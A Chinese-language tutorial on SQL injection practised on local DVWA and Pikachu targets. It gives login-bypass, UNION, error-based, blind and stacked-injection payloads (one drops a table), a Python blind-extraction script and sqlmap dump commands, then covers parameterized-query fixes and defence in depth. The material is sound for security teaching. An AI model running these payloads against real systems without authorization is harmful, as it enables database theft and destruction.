SQL注入靶场实操:从原理到防护的完整指南

发布时间:2026/10/7 22:31:38
SQL注入靶场实操:从原理到防护的完整指南 做安全这一行SQL注入大概是每个Web方向的人躲不开的“第一课”。哪怕现在自动化工具已经足够强大我还是建议你先亲手把这套原理在靶场里走通一遍。这个漏洞不只出现在CTF题目里真实业务系统的登录框、搜索框、订单查询接口只要SQL语句写得不严谨照样能给你来个“意外惊喜”。这篇我就从靶场实操出发把SQL注入从原理到验证、再到防护完整拆一遍覆盖万能密码绕过、联合查询、盲注、sqlmap验证这些最常见的场景尽量让零基础的朋友也能照着操作、理解每一步在干什么。我不会去讨论任何未授权的攻击行为所有演示都基于DVWA、Pikachu这类本地靶场。你只需要准备好Docker或者PHP环境就能跟完整个流程。学完之后你不仅会“打”还会知道怎么“防”写代码的时候能下意识避开这类坑。1. SQL注入到底是怎么发生的1.1 万能密码背后的逻辑先看一个最经典的登录绕过场景很多新手第一次接触SQL注入就是从这来的。假设后端登录逻辑是下面这样$sql SELECT * FROM users WHERE username . $_POST[username] . AND password . md5($_POST[password]) . ;正常情况下你输入用户名admin密码123456拼接出来的语句是SELECT * FROM users WHERE username admin AND password e10adc3949ba59abbe56e057f20f883e这没什么问题。但如果你在用户名字段输入admin or 11SQL语句就变成SELECT * FROM users WHERE username admin or 11 AND password xxx注意看条件运算顺序OR的优先级低于AND所以整体判断变成了“username是admin或者1等于1并且密码正确”。再看清楚一点11这个条件恒为真那么只要password那边也满足条件整条语句就能查出记录。实际上更通用的写法是admin or 11 -- --- -是SQL注释符后面的内容不再参与判断。这样整条SQL相当于SELECT * FROM users WHERE username admin or 11条件恒真直接绕过登录。这就是常说的一号员工“万能密码”。1.2 数据意外变成了代码网上有很多文档管SQL注入叫“代码注入”但为了理解透彻我更愿意把它描述成用户输入的数据被当成SQL代码的一部分执行了。用生活里的例子类比就像你把一张写好问题的表格交给访客填本来期待对方只填答案结果对方在“姓名”栏里写了一行命令而后面的处理程序还真的把他写的内容当成指令去跑。SQL注入也是一样本该是“值”的那段字符串因为拼接进了SQL语句变成了“结构”的一部分。很多漏洞代码的长相都差不多无非是把外部参数用.或者直接拼到SQL字符串里。比如String sql SELECT * FROM product WHERE id request.getParameter(id);sql SELECT * FROM user WHERE name %s % name$sql SELECT id, name FROM user WHERE id . $_GET[id];只要存在这种拼接模式外部输入就有机会改变SQL的原有结构。本质上是“数据”和“代码”没有分离。防注入的核心思想也是围绕“强制数据只能当数据用”来展开后面防护章节再细说。1.3 为什么老司机看参数就知道有没有戏判断一个参数有没有注入点主要看它最终会出现在SQL语句的哪个位置、用什么引号包着、是数字还是字符串这决定了闭合方式。数字型参数WHERE id $id一般不需要加引号闭合直接传1 and 11这类内容就能拼接进去。字符型参数WHERE name $name需要先闭合前面的单引号再调整后续逻辑。搜索型参数WHERE title LIKE %$keyword%闭合方式多一层%处理。不同闭合方式对应不同payload写法。这也是为什么同一个靶场里关卡一用联合查询很顺关卡二却总是“注入无效”多半就是引号没闭合对。判断方法也很直接先给参数加一个单引号看页面是否报错再加一个恒真条件看页面是否正常。页面表现差异一出来基本就能锁定注入类型了。2. 常见注入类型与判别思路2.1 联合查询注入最直观的一种联合查询注入适合页面会把SQL查询结果直接显示出来的场景。原理是让原来的查询什么都不返回再用UNION拼接我们自己的查询语句让结果回显到页面上。典型判断列数的做法1 ORDER BY 1-- - 1 ORDER BY 2-- - 1 ORDER BY 3-- -不断加大数字直到报错。数字比实际列数多1时数据库会报“列数不匹配”的错。确定列数后就能用UNION拿到数据1 UNION SELECT 1,2,3-- -上面那个payload里页面哪个位置显示了数字2就说明哪个展示位可以利用。接着把2替换成database()、user()把敏感信息一点点拖出来1 UNION SELECT 1,database(),3-- - 1 UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schemadatabase()-- -information_schema.tables是MySQL的系统库保存了所有表的信息。明白这个套路之后你会发现联合查询最吃“列数判断”这个基本功。列数弄不准后面全白搭。2.2 报错注入、布尔盲注与时间盲注现实中的接口不会都那么“配合”很多查询结果不直接回显这时候就要靠报错注入和盲注。报错注入利用的是数据库函数在报错信息里回带数据。以MySQL为例updatexml、extractvalue这类函数都有这个特性1 AND updatexml(1,concat(0x7e,(SELECT database())),1)-- -0x7e是波浪号~的十六进制用于分隔数据。执行后数据库报错信息里会带上数据库名。报错注入的前提是页面能输出数据库错误信息如果报错被统一封装成了“系统繁忙”这条路就走不通。布尔盲注针对的是“页面连报错都不显示但真假条件响应不同”的情况。靠一个恒真、一个恒假条件去判断1 AND 11-- - # 页面正常 1 AND 12-- - # 页面异常接着用substr()、ascii()等函数逐字符猜数据1 AND ascii(substr(database(),1,1))100-- -时间盲注针对的是“页面真假响应完全一样”的情况。利用sleep()函数让数据库停顿几秒1 AND if(ascii(substr(database(),1,1))100,sleep(3),0)-- -页面响应时间明显变长就说明条件成立。时间盲注效率最低但适用面最广也是写自动化脚本练手的好场景。列个表把这几种类型做一下区分注入类型页面特征典型判断方式效率联合查询查询结果直接回显ORDER BY判断列数高报错注入数据库错误信息回显updatexml等函数报错中布尔盲注真/假条件页面响应不同11、12对比低时间盲注页面响应无差异sleep函数延迟极低堆叠注入支持多条语句执行分号分隔语句视环境而定2.3 别忽略的补充类型除了上面四种还有几个“进阶款”在CTF和实际授权测试中也会遇到。堆叠注入用分号把多条SQL语句串起来执行比如1; DROP TABLE x;-- -但并非所有数据库连接和中间件都允许多语句执行所以判断时要单独验证。宽字节注入常见于数据库编码为GBK、并且程序对单引号做了转义的情况。用%df这类payload让转义符\被“吃掉”从而闭合引号。Pikachu靶场里有专门的宽字节注入关卡建议实操感受一下。文件读写注入利用INTO OUTFILE或LOAD_FILE读写服务器文件前置条件非常苛刻需要高权限、知道绝对路径、secure_file_priv不被限制。CTFShow这类平台上偶尔会出写文件getshell的题目属于授权的比赛环境中才会玩的玩法。我的建议是先吃透联合查询和布尔盲注再扩展其他类型。因为万变不离其宗——定位注入点、判断闭合方式、回显或盲注获取数据这三步是所有注入类型的公共骨架。3. 靶场实操DVWA与Pikachu通关记录3.1 环境搭建这一步很关键实操前先把靶场搭起来。我自己的习惯是用Docker干净、好清理。# DVWA docker run -d -p 8080:80 vulnerables/web-dvwa # Pikachu社区维护镜像按需搜索使用 docker run -d -p 8081:80 area39/pikachu没有Docker环境的话也可以下载Pikachu源码放进PHPStudy或XAMPP的WWW目录配好MySQL就能跑。DVWA用Docker启动后访问http://127.0.0.1:8080默认账号admin、密码password进到首页先点Create/Reset Database初始化数据库。Pikachu是中文界面每关都有提示和源码审计入口对新手特别友好。它的提示会直接告诉你这关注入的类型、闭合方式适合用来建立思路DVWA的界面更接近“原始靶场”适合检验自己独立思考的能力。注意所有靶场都是本地环境不会对他人系统产生任何影响。无论你未来做渗透测试还是学习研究都务必先拿到书面授权这是行业铁律。3.2 DVWA联合查询注入手动走一遍DVWA的低安全等级SQL注入关卡输入框就是一个ID查询。开局先输入1页面正常显示用户信息输入1页面弹出数据库错误。这说明ID直接被拼进了SQL语句而且存在字符型注入。第一步判断注入点1 # 正常 1 # 报错 1 AND 11 # 正常 1 AND 12 # 无输出输入1 AND 11正常输入1 AND 12没结果说明根布尔条件可以影响查询结果注入点成立。第二步判断列数1 ORDER BY 1-- - 1 ORDER BY 2-- - 1 ORDER BY 3-- -前两个正常第三个报错说明表有2列。第三步联合查询回显数据1 UNION SELECT 1,2-- -页面会显示两个数字其中第二个数字的位置可以显示数据库信息。把2替换成database()1 UNION SELECT 1,database()-- -拿到当前库名dvwa后继续查表1 UNION SELECT 1,group_concat(table_name) FROM information_schema.tables WHERE table_schemadatabase()-- -然后查字段、拖数据链路都是通的。整个流程下来你会对“拼接SQL到底有多危险”产生非常直观的体感。3.3 Pikachu字符型注入与万能密码绕过Pikachu的“字符型注入”关卡URL参数是类似?nameadmin的形式。直接传admin页面会把查询结果显示出来。加上单引号测试admin页面报错说明存在字符型注入。绕过的payload可以这样写admin OR 11 -- 这串东西闭合了原来的单引号让OR条件恒真然后注释掉后面的内容。提交后页面直接返回了表中所有用户信息。这就是万能密码绕过的核心思想。Pikachu还有个独立的“万能密码登录”关卡场景换成了登录表单思路一模一样。自己动手把上面的payload在登录框里试一遍体会一下原本只想接收“用户名”的代码是如何被输入变成新SQL逻辑的。3.4 盲注场景下的手工判断与Python脚本辅助Pikachu的“布尔盲注”关卡页面不会回显查询结果但输入and 11和and 12时页面内容有变化。这类场景下手工猜数据很要命我习惯直接写Python脚本辅助。先手工确认注入点kobe AND 11-- - kobe AND 12-- -确认差异后写脚本逐字符猜数据库名import requests url http://127.0.0.1:8081/vul/sqli/sqli_blind.php chars abcdefghijklmnopqrstuvwxyz0123456789_-.{} result for i in range(1, 30): found False for c in chars: # 判断database()第i个字符的ASCII码是否等于ord(c) payload fkobe AND ascii(substr(database(),{i},1)){ord(c)}-- - data {name: payload, submit: 查询} r requests.post(url, datadata) if kobe in r.text: # 页面显示正常内容时说明条件成立 result c found True print(f[*] database: {result}) break if not found: break print(f[] final: {result})这个脚本的核心逻辑就是遍历每个位置对每个候选字符逐一测试恒真条件直到页面出现“正常”特征。布尔盲注效率低但脚本化之后思路非常清晰。时间盲注的脚本就是在payload里换成if(ascii(...)...,sleep(3),0)然后把判断条件从“页面变化”改成“请求耗时是否超过2秒”。实操心得写盲注脚本最容易翻车的地方是判断特征。有些页面不管你查询成不成立都会返回同样长度的HTML差异只在某个隐藏字段或状态码上。所以写脚本之前先手工用恒真、恒假两个条件各请求一次用diff工具对比响应体找出最稳定的差异点再写循环。4. 实际渗透中怎么验证一个可疑参数4.1 手动验证五步法实际测试里遇到的系统五花八门不可能每个参数都无脑上工具。我一般按照下面的顺序手动验证加单引号?id1观察页面是否报错、回显是否异常。恒真恒假对照?id1 AND 11正常、?id1 AND 12异常基本能确认注入存在。排序判断ORDER BY 1、ORDER BY 10逐步加数字判断列数。联合查询回显列数确认后用UNION SELECT试回显位。注释与编码绕过CS如果特殊字符被过滤尝试-- -、#、%23、大小写混合、URL编码等方式。注意数字型和字符型要区分开如果参数是数字型直接拼AND 11即可如果是字符型需要先闭合引号。一个快速判断技巧是输入1 AND 11和1 AND 12如果都正常很可能被当成了字符串处理再试1 AND 11-- -。4.2 sqlmap验证与数据获取的基本用法手动确认注入点后用sqlmap可以节省大量时间。常用命令先放出来# 判断注入点 python sqlmap.py -u http://127.0.0.1:81/sqli.php?id1 --batch # 获取所有数据库 python sqlmap.py -u http://127.0.0.1:81/sqli.php?id1 --dbs --batch # 获取当前数据库 python sqlmap.py -u http://127.0.0.1:81/sqli.php?id1 --current-db --batch # 获取指定数据库的表 python sqlmap.py -u http://127.0.0.1:81/sqli.php?id1 -D dvwa --tables --batch # 获取表的字段并dump数据 python sqlmap.py -u http://127.0.0.1:81/sqli.php?id1 -D dvwa -T users --columns --batch python sqlmap.py -u http://127.0.0.1:81/sqli.php?id1 -D dvwa -T users --dump --batchPOST参数的话用-data nameadminsubmit查询指定请求体。有些注入点藏在Cookie或User-Agent里可以用--headers或者--cookie手动带上。sqlmap有个参数叫--level和--risk。默认level是1很多注入点藏在参数内部不提高level测不出来。我一般从--level2 --risk1起步如果测不出来再升到3。risk调太高容易触发一些危险操作非授权环境千万别开。注意sqlmap是利器但不是免死金牌。工具误报率并不低尤其遇到WAF、参数多重编码的时候它可能会把业务参数错误识别成注入点。所以我对工具的态度始终是“工具验证手动兜底”先用第4.1节的方法确认了再用sqlmap批量取数据。4.3 容易被忽略的验证场景实际渗透中注入点不一定都在URL的GET参数上。常见的还有POST表单参数登录框、查询框需要抓包改包。JSON里嵌套的参数值。Cookie里的会话标识或用户标识。User-Agent、Referer、X-Forwarded-For等请求头。文件名参数、排序字段、导入导出文件名。尤其排序字段这种地方开发者经常直接拼接前端传上来的字段名SELECT * FROM products ORDER BY {sort_column}这种场景下不能用UNION但可以用报错注入和布尔盲注验证。我在实际授权测试时遇到过把order字段拼进SQL的系统直接用if(11,id,name)这种payload能判断出注入点再把条件换成猜表名的逻辑就能持续深入。还有一个坑是“半成品”输入校验后端只校验了GET参数没校验POST参数或者只校验了主参数没校验附属参数。手动测试时要把同一条请求里所有可控点都试一遍别只盯着一个id不放。5. 防护方案与代码修复建议5.1 参数化查询才是根治方案前面反复说SQL注入的本质是“数据变成代码”。那么最干净的解法就是让数据永远没有机会变成代码——参数化查询预编译。拿PHP的PDO举个例子$stmt $pdo-prepare(SELECT * FROM users WHERE username ? AND password ?); $stmt-execute([$_POST[username], md5($_POST[password])]);Java的PreparedStatement同理String sql SELECT * FROM user WHERE id ?; PreparedStatement ps conn.prepareStatement(sql); ps.setInt(1, Integer.parseInt(request.getParameter(id)));Python的sqlite3或SQLAlchemy也一样cursor.execute(SELECT * FROM user WHERE name ?, (name,))为什么这样能防住因为预编译阶段SQL语句的骨架已经固定用户输入只作为参数值传入不再参与语法解析。你输入再接近SQL的字符串数据库也只会把它当成一个“字符串值”。类比一下预编译是发一张已经印好列出的调查表用户只能在空格里填内容没办法新增一列或者改表格结构。注意到一个细节参数化查询解决的是“值位置”的注入如果拼进去的是表名、列名这类标识符预编译也救不了你因为标识符本身就是SQL结构的一部分。这种场景要额外用白名单校验比如只允许从前端预设的几个取值里选。5.2 纵深防御别只依赖一把锁参数化查询是基础但现实中代码总会有漏网之鱼。我习惯从下面几个方向做纵深防护输入校验能用白名单就白名单比如枚举状态值、下拉选项不要用正则黑名单去“猜”攻击payload。最小权限数据库账号Web应用连接数据库的账号只给增删改查权限不给FILE、SUPER、建表删表权限。这样即使被注入攻击者也没法拖库写文件。报错处理统一化生产环境关闭数据库错误回显所有异常统一返回“系统繁忙”。这一步能让报错注入直接失效。安全过滤函数旧代码里如果没有预编译可以先用mysqli_real_escape_string这类函数做转义但只能作为过渡方案不能当成根治手段。WAF与日志监控部署WAF拦截明显注入特征同时记录SQL异常日志定期排查慢查询和报错日志出现SELECT * ... OR 11这类特征要立刻追查。纵深防御的核心逻辑是单点失效不影响整体安全。即使预编译漏了一条语句低权限账号也限制了损失范围即使权限没控住报错统一化也让攻击者少了一条回显路径。5.3 修复实例从漏洞代码到安全代码拿文章开头的登录逻辑做一次修复前后的对比修复前$sql SELECT * FROM users WHERE username . $_POST[username] . AND password . md5($_POST[password]) . ; $result mysqli_query($conn, $sql);修复后$stmt $conn-prepare(SELECT * FROM users WHERE username ? AND password ?); $stmt-bind_param(ss, $_POST[username], md5($_POST[password])); $stmt-execute(); $result $stmt-get_result();同样的用户输入修复前会被拼接成新SQL逻辑修复后只会被当作username和password的字符串值。用admin or 11 -- -再试一次无论输入什么SQL语句的骨架始终是WHERE username ? AND password ?。再举个搜索场景的例子。修复前$sql SELECT * FROM article WHERE title LIKE % . $_GET[kw] . %;修复后$stmt $conn-prepare(SELECT * FROM article WHERE title LIKE ?); $search % . $_GET[kw] . %; $stmt-bind_param(s, $search); $stmt-execute();注意%要拼在参数里不要拼在SQL模板里。这是一个很容易踩的小坑但规范写法一下就能养成习惯。6. 常见问题与排查技巧实录6.1 靶场通关时我踩过的坑练靶场时新手最容易在几个地方卡住ORDER BY和UNION SELECT的列数不对齐。有时候ORDER BY 3不报错但UNION SELECT 1,2,3报错往往是因为前面的查询实际返回1列而你把后面的UNION列数猜错了。联合查询要求前后两个SELECT的列数一致多试几次总能对齐。引号闭合不正确。明明是字符型注入你却在payload里一直用数字型思路测自然测不出来。先加单引号看报错确认闭合方式再说。注释符被过滤或失效。有些靶场会把--过滤掉可以改用#、--、%23或者利用条件逻辑短路绕过注释需求。比如admin OR 11这种写法不需要注释也能让整个条件成立。宽字节处理。Pikachu的宽字节注入关数据库编码是GBK时可以用%df%27去闭合引号。这个细节很考验对字符集的理解卡壳时把前后端编码分别查一遍。盲注脚本判断特征不对。我之前写布尔盲注脚本时用页面里某个用户名是否存在做判断某次测试时发现不管条件对不对那个用户名都会出现后来对比响应体才发现判断点选错了。所以每次写脚本前一定先做一次恒真恒假响应diff。6.2 实际测试中的误报排查自动化工具报出注入点不代表字节真的就有漏洞。遇到误报我从这几个方面排查参数是否真的影响了SQL执行。如果系统对参数做了严格类型转换就算WAF报出注入特征实际也利用不了。报错是否真的是数据库错误。有些接口用自定义异常内容写得很像SQL错误但实际上只是业务校验。编码与大小写问题。URL编码、JSON转义、多级参数解析可能导致payload失效这时候需要逐层解码确认数据最终长什么样。同一个payload在是否登录态下的表现。登录态影响查询结果容易把正常业务差异误判成布尔盲注的响应差。排查误报的核心方法是控制变量。固定其他所有参数只修改目标参数对比响应体、状态码、响应时间三个维度能把误判概率降到最低。6.3 避坑清单速查场景常见坑正确处理判断列数ORDER BY一直不报错确认查询结果被截断或自动补列观察完整响应并尝试更大数字字符型闭合只测数字型payload先加单引号测报错再补注释符注释被过滤-- -无效换#、--、%23或条件短路绕过盲注脚本判断特征不明确预先diff恒真恒假响应找到最稳定差异点报错不回显报错注入失效尝试布尔盲注或时间盲注宽字节场景普通payload无效确认编码尝试%df%27工具误报sqlmap报注入了手动五步法复核确认参数真正影响SQL生产系统直接用工具扫描先拿授权再小流量测试避免影响业务最后再说个我自己的体会。SQL注入最核心的不是背payload而是理解“数据意外变成了代码”这件事。你拿到一个参数先冷静分析它会被拼到SQL的哪个位置、用什么引号包裹、需不需要闭合思路顺着“闭合→条件→回显/盲注”走一通百通。建议把DVWA和Pikachu这两个靶场所有注入关卡都刷一遍尤其是Pikachu的中文提示和源码审计入口能把每一步的思考过程讲得很清楚。这套基本功练扎实了再上手sqlmap这类工具你才不会因为误报和漏报手足无措。安全这条路没有捷径靶场里的每一遍练习最后都会变成你判断漏洞时的直觉。